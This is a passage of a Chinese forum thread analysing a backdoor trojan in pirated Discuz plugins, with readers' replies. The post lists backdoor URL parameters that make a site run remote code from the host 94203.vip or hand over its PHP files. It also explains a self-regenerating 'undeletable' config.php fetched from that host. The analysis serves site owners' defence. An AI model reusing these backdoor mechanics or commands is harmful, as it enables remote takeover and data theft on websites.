2个样本在下面压缩包,感兴趣的可以下载看看</font></font><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">参数6、&nbsp;&nbsp;你的域名/config.php?s=6&amp;domain=94203.vip 作用:执行远程文件 94203.vip/ondata.xml</font></font><br /><img title="edcc5616d697bb58.png" id="aimg_21238" aid="21238" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143314xllisqzcddnsal6u.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143314xllisqzcddnsal6u.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="323" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">其实和 参数5的带do参数功能一样,可能是防止你服务器不能写入文件时&nbsp;&nbsp;直接用php执行用的。应该算是备用功能,感兴趣的可以下载下面的附件研究</font></font><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">参数7、&nbsp;&nbsp;你的域名/config.php?s=7&amp;domain=94203.vip 作用:下载你网站非压缩包文件(如直接下载PHP文件)</font></font><br /><img title="f16cc6c3ffbae980.png" id="aimg_21237" aid="21237" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143313xspecgxxmh64t4gp.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143313xspecgxxmh64t4gp.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="504" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">参数8、&nbsp;&nbsp;你的域名/config.php?s=8&amp;domain=94203.vip 作用:执行远程代码&nbsp;&nbsp;94203.vip/tiquxml.xml</font></font><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">远程链接返回内容如下</font></font><ol><li>@set_time_limit(0);<br /><li>@include_once './config/config_global.php';</ol><br /><img title="1f8518c50ec6ecf9.png" id="aimg_21236" aid="21236" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143313o6y6q7zzb6aib6fa.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143313o6y6q7zzb6aib6fa.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="333" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">从注释看好像是提取XML的&nbsp;&nbsp;到这里 这个文件的功能基本上分析完毕。你以为就这样?</font></font><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">结尾</font></font><hr class="l" /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">以上涉及到的代码全部是远程执行,</font></font><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">代码后门作者可以随时更改/更新/升级、等于是给你网站的后门免费提供了免费更新的功能 如果他给你来个全盘格式化的远程代码,你懵逼吗?</font></font><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">如果他给你来个清空数据库的代码 你懵逼吗? </font></font><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">分析到这里,我们回到前面提到的 /source/function/function_ajax.php文件 打开远程获取到的代码 分析一波,已经不记得前面有没有把这个文件的代码贴出来了!</font></font><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">如果没有,感兴趣的同学就自己获取一下!&nbsp;&nbsp;因为这个文件是基于dz的系统文件修改的(注入),我们对比文件删除dz原版代码 得到如下代码</font></font><img title="40a044bb6fcf1a93.png" id="aimg_21235" aid="21235" src1="static/image/common/none.gif" zoom="https://www.dismall.com/data/attachment/forum/202303/29/143313lqaukuuukrwuirzu.png" src="https://www.dismall.com/data/attachment/forum/202303/29/143313lqaukuuukrwuirzu.png" class="zoom" onclick="zoom(this, this.src, 0, 0, 0)" width="490" inpost="1" onmouseover="showMenu({'ctrlid':this.id,'pos':'12'})" /><br /><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">也就是说上面的代码是后门作者加进去的&nbsp;&nbsp;其实这个文件也没啥好分析的,</font></font><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">大概就是:这个文件因为dz需要经常调用,调用频率非常的高&nbsp;&nbsp;只要这个文件一被调用&nbsp;&nbsp;就自动从远程获取内容94203.vip/index.xml 生成到文件/config.php&nbsp;&nbsp;这个文件的代码前面分析过。</font></font><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">大概想实现的目的就是防删!如果你删了,又会出来。就是你怎么删也删不掉/config.php这个文件,我给他定义为 “不死鸟”&nbsp;&nbsp;基本上整个后门到这里就算分析完毕了! </font></font><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">其实目前来讲这套木马想查杀的话 有一套关键词可以进行匹配!</font></font><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">但是我们这次目的是分析木马!查杀的任务,还是得靠站长自己。</font></font><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">我们只能说这种木马在全网传播的很普遍!</font></font><font style="color:rgb(51, 51, 51)"><font face="&amp;quot;">从各个资源站到某宝等 都有这个木马的影子!</font></font><br />quot<em>, </em>后门

lovetvb 發表於 2023-3-29 14:05:07

某趣吧盗版插件含后门,这是众所周知的,你回帖贴的链接的网站也不是好鸟,一样的,会盗取你网站的应用

tuhemm 發表於 2023-3-29 14:25:54

虽然不懂但我大为震撼

pcyi 發表於 2023-3-29 23:31:55

虽没看懂,感觉好历害。现在已没有几个人能有这种耐心写这么东西了

TaC 發表於 2023-3-31 08:22:36

我曾经遇到过,他还加我Q,要钱钱,我拉黑后,直接就把我的数据盘格了

gulaibai 發表於 2023-3-31 10:30:54

楼主功力深厚,佩服佩服

false001 發表於 2023-4-1 12:16:39

<br />把那个人的QQ暴出来,让大家都防着他点。

false001 發表於 2023-4-1 17:11:27

虽没看懂,感觉好震撼,那有没有大佬写个插件出来让大伙查杀下,或许有些站长的站存在这个木马后门也说不定。
頁: [1]
查看完整版本: 您认为你的网站还很安全吗?风靡全网的Discuz盗版插件后门木马你了解过吗?